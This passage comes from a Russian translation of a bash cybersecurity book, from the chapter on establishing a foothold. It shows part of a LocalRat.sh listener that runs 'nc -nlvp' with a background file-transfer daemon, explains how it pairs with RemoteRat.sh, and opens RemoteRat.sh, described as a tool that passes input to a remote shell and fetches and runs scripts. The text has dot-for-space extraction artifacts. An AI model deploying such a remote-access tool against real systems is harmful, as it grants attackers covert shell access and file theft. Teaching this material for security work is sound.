Paul Troncone and Carl Albing Cybersecurity Ops with bash Attack, Defend, and Analyze from the Command Line

Глава 16. Создание точки опоры
239
# инициируем демон фоновой передачи файлов
bgfilexfer &

# прослушиваем входящее соединение
nc -nlvp $HOMEPORT

Сценарий.
LocalRat.sh
.является.пассивной.или.реагирующей.на.события.стороной.
пары.сценариев.—.он.ожидает.ответа.от.сценария.
RemoteRat.sh
,.а.затем.реагирует.
на.них..Сценарии.должны.общаться.через.одни.и.те.же.порты,.поэтому.номера,.
указанные.в.командной.строке,.в.этих.сценариях.должны.совпадать.
Что.же.делает.сценарий.
LocalRat.sh
?.Вот.некоторые.ключевые.моменты.

.Сценарий.начинается.с.запуска.в.фоновом.режиме.демона.передачи.файлов.

.Здесь.сценарий.ожидает.входящее.соединение.от.удаленного.скрипта..Использова-
ние.команды.
nc
.имеет.ключевое.значение,.потому.что.сетевой.файловый.дескрип-
тор.bash.(
/dev/tcp
).не.может.самостоятельно.создать.TCP-соединение.

.Наша.функция.передачи.файлов.также.начинается.с.прослушивания,.но.слуша-
ется.второй.номер.порта..Нам.нужно.получить.от.этого.сокета.имя.файла.

.Еще.одно.обращение.к.
nc
.—.на.этот.раз.для.отправки.файла,.запрошенного.в.пре-
дыдущем.сообщении..Это.сетевая.команда.
cat
.—.вопрос.предоставления.файла.
в.качестве.ввода.для.команды,.подключенной.к.порту.номер.три.
Сценарий.в.примере.16.2.устанавливает.TCP-соединение.с.удаленной.(целевой).
системой.
Пример 16.2.
RemoteRat.sh
#!/bin/bash -
#
# Bash и кибербезопасность
# RemoteRat.sh
#
# Описание:
# Инструмент удаленного доступа для запуска в удаленной системе;
# в основном передает любые входные данные в оболочку,
# но если указан !, извлекает и запускает сценарий
#
# Использование: RemoteRat.sh hostname port1 [port2 [port3]]
#
function cleanup ()
{
rm -f $TMPFL
}

---

240